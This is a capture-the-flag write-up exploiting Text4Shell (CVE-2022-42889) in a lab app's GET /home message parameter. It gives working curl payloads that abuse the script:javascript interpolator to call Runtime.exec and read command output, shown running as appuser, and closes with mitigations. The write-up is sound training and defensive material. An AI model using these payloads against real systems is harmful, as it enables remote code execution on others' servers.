Overview
The challenge is named Text4Shell. The description hinted at an Apache Commons Text version discrepancy: “Sometimes the smallest note sets the mood. An old incident note names a neighboring version; verify which build is actually running.” The target exposes a form that submits message to GET /home. The goal is to identify the injection point, confirm script execution, achieve RCE, and read the flag.
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
curl -sG --data-urlencode is used to pass the interpolation payload in the message parameter. No wordlist or credentials are required.
Recon
Step 1 — Request the root page
Goal: Identify the injection endpoint and parameter.
curl "$TARGET/"
The server returned an HTML page titled FAN SIGNAL with a form:
<form action="/home" method="get">
<input id="message" name="message" placeholder="Your message" required />
<button type="submit"></button>
</form>
Interpretation: The endpoint is GET /home with parameter message, giving the request format $TARGET/home?message=....
Enumeration
Step 2 — Confirm Apache Commons Text interpolation
Goal: Verify that ${...} expressions are evaluated server-side.
curl -sG "$TARGET/home" \
--data-urlencode 'message=${java:version}'
Text Received: Java version 1.8.0_504
Interpretation: ${java:version} was evaluated, confirming an Apache Commons Text-style interpolation mechanism.
Step 3 — Confirm Text4Shell script evaluation
Goal: Verify the dangerous script:javascript interpolator is available.
curl -sG "$TARGET/home" \
--data-urlencode 'message=${script:javascript:1+1}'
Text Received: 2
Interpretation: JavaScript expressions are evaluated — the script interpolator is available and potentially dangerous.
Vulnerability Analysis
The flaw class is Text4Shell / Apache Commons Text interpolation injection (CVE-2022-42889), leading to remote code execution (CWE-94).
Exploitation
Step 4 — Achieve remote code execution
Goal: Execute an OS command via java.lang.Runtime.getRuntime().exec().
Direct method chaining returned the payload literally, so the Runtime object was assigned to a JavaScript variable first:
curl -sG "$TARGET/home" \
--data-urlencode 'message=${script:javascript:r=java.lang.Runtime.getRuntime();r.exec("id")}'
Text Received: java.lang.UNIXProcess@756c25a4
Interpretation: java.lang.UNIXProcess confirms Java created an OS process — arbitrary process execution achieved.
Step 5 — Read command output
Goal: Capture exec() stdout instead of just the process object.
curl -sG "$TARGET/home" \
--data-urlencode 'message=${script:javascript:p=java.lang.Runtime.getRuntime().exec("id");s=p.getInputStream();b=new java.lang.StringBuilder();c=0;while((c=s.read())!=-1)b.append(java.lang.Character.toString(c));b.toString()}'
Text Received: uid=999(appuser) gid=999(appgroup) groups=999(appgroup)
Interpretation: Full OS-level command execution as appuser (UID/GID 999).
Dead Ends
Lessons / Takeaways
- Verify the running application’s behavior rather than relying on a version mentioned in documentation or an incident note.
${java:version}is a quick interpolation probe;${script:javascript:1+1}confirms the dangerous script interpolator.- Assigning objects to JavaScript variables works around method chaining that returns payloads literally.
Runtime.exec()returns a process object; readgetInputStream()to capture command output.- Outbound connectivity may be blocked — prefer in-band file reads over reverse shells.
Mitigations
- Upgrade Apache Commons Text to a patched version (1.10.0+) that disables unsafe interpolators by default.
- Disable or never expose the
script:interpolator; use only trusted, static string lookup (StringSubstitutorwithout external lookup). - Treat all
${...}interpolation input as untrusted; do not pass user input to interpolating methods. - Run the application with least-privilege OS and filesystem permissions.
Techniques
References
- Apache Commons Text, CVE-2022-42889 (Text4Shell): https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42889
- CWE-94: Improper Control of Generation of Code (‘Code Injection’): https://cwe.mitre.org/data/definitions/94.html

